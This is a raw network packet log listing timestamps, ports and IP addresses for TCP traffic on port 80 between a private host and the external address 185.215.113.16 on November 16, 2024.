Nov 16, 2024 04:33:24.348196983 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:24.348210096 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:24.348220110 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:24.348243952 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:24.348243952 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:24.348257065 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:24.348269939 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:24.348295927 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:24.348361015 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:24.348458052 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:24.348468065 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:24.348479033 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:24.348495007 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:24.348500013 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:24.348506927 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:24.348517895 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:24.348522902 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:24.348530054 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:24.348543882 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:24.348566055 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:24.348767042 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:24.348778963 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:24.348788977 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:24.348817110 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:24.348994970 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:24.349006891 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:24.349019051 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:24.349028111 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:24.349033117 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:24.349040031 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:24.349054098 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:24.349076986 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:24.349155903 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:24.349164963 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:24.349195957 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:24.427798986 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:24.427810907 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:24.427834988 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:24.427843094 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:24.427872896 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:24.427896023 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:24.427911997 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:24.427922964 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:24.427932024 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:24.427956104 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:24.427977085 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:24.427988052 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:24.427998066 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:24.428021908 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:24.428042889 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:24.428208113 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:24.428217888 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:24.428226948 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:24.428260088 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:24.464167118 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:24.464205980 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:24.464209080 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:24.464232922 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:24.464243889 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:24.464252949 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:24.464277029 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:24.464301109 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:24.464308977 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:24.464397907 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:24.464406967 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:24.464412928 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:24.464416981 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:24.464421988 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:24.464427948 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:24.464467049 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:24.464472055 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:24.464482069 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:24.464488983 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:24.464512110 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:24.464524031 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:24.464782000 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:24.464792013 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:24.464801073 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:24.464822054 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:24.464891911 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:24.464901924 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:24.464910030 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:24.464932919 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:24.464950085 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:24.465039968 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:24.465058088 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:24.465066910 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:24.465075970 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:24.465085030 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:24.465086937 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:24.465106964 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:24.465235949 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:24.465257883 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:24.465267897 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:24.465274096 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:24.465302944 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:24.465306044 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:24.465317011 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:24.465352058 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:24.465470076 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:24.465480089 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:24.465512991 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:24.465548038 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:24.465559006 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:24.465569019 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:24.465579033 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:24.465586901 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:24.465612888 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:24.465704918 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:24.465739965 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:24.465749025 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:24.465785027 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:24.465790987 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:24.465802908 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:24.465812922 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:24.465831995 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:24.465842962 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:24.465976000 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:24.465991020 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:24.466001987 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:24.466012001 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:24.466022968 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:24.466022968 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:24.466044903 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:24.466187954 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:24.466198921 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:24.466208935 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:24.466231108 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:24.466249943 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:24.469108105 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:24.469130039 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:24.469167948 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:24.545203924 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:24.545229912 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:24.545257092 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:24.545265913 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:24.545277119 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:24.545285940 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:24.545296907 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:24.545306921 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:24.545346022 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:24.545355082 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:24.545363903 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:24.545767069 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:24.581573009 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:24.581600904 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:24.581609964 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:24.581620932 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:24.581629992 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:24.581640005 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:24.581662893 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:24.581677914 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:24.581686974 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:24.581697941 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:24.581706047 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:24.581715107 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:24.581723928 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:24.581763029 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:24.581773043 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:24.581783056 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:24.581793070 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:24.581823111 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:24.581823111 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:24.581823111 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:24.581877947 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:24.581945896 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:24.581955910 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:24.581976891 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:24.581976891 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:24.581993103 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:24.582003117 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:24.582061052 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:24.582103014 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:24.582113981 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:24.582123995 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:24.582134008 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:24.582169056 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:24.582191944 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:24.582191944 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:24.582209110 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:24.582228899 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:24.582238913 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:24.582247019 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:24.582344055 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:24.582355022 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:24.582365990 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:24.582375050 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:24.582406044 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:24.582406044 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:24.582406044 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:24.582434893 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:24.582463026 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:24.582470894 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:24.582500935 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:24.582500935 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:24.582529068 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:24.582545042 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:24.582555056 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:24.582565069 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:24.582649946 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:24.582658052 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:24.582668066 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:24.582694054 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:24.582694054 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:24.582762957 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:24.582772970 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:24.582797050 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:24.582806110 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:24.582815886 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:24.582834005 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:24.582834005 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:24.582834005 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:24.582875967 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:24.582901955 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:24.582909107 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:24.582915068 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:24.582948923 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:24.582961082 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:24.582967043 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:24.582969904 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:24.582999945 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:24.582999945 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:24.583066940 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:24.583076000 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:24.583085060 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:24.583141088 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:24.624114037 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:24.630925894 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:24.630937099 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:24.631098986 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:24.670597076 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:24.670620918 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:24.670629025 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:24.670639038 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:24.670648098 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:24.670656919 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:24.670665026 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:24.670671940 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:24.670681000 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:24.670690060 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:24.670697927 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:24.670829058 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:24.699152946 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:24.699269056 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:24.699279070 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:24.699290037 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:24.699301004 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:24.699318886 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:24.699325085 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:24.699326992 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:24.699331045 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:24.699392080 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:24.699404001 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:24.699413061 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:24.699424028 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:24.699434042 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:24.699444056 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:24.699450970 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:24.699450970 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:24.699450970 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:24.699455976 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:24.699467897 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:24.699467897 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:24.699481010 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:24.699491978 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:24.699579954 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:24.699579954 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:24.706208944 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:24.706219912 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:24.706229925 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:24.706238985 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:24.706259966 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:24.706269026 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:24.706270933 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:24.706276894 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:24.706276894 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:24.706276894 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:24.706283092 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:24.706290007 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:24.706312895 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:24.706331015 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:24.706341028 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:24.706346035 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:24.706346035 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:24.706352949 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:24.706377983 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:24.706388950 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:24.706398964 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:24.706408978 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:24.706418037 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:24.706428051 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:24.706439018 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:24.706446886 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:24.706448078 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:24.706446886 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:24.706446886 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:24.706459045 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:24.706476927 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:24.706494093 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:24.706504107 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:24.706506968 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:24.706506968 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:24.706506968 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:24.706561089 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:24.706572056 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:24.706598997 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:24.706609011 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:24.706619024 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:24.706629038 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:24.706629992 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:24.706640959 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:24.706640959 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:24.706650019 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:24.749131918 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:24.779797077 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:24.779807091 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:24.779947042 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:24.779958963 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:24.779968977 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:24.779973984 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:24.779997110 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:24.780136108 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:24.780147076 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:24.780157089 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:24.780165911 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:24.780175924 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:24.780198097 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:24.780198097 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:24.780302048 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:24.780303955 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:24.780314922 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:24.780323982 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:24.780359983 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:24.780381918 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:24.780412912 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:24.780541897 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:24.818717003 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:24.818728924 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:24.818738937 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:24.818748951 CET	80	49742	185.215.113.16	192.168.2.4
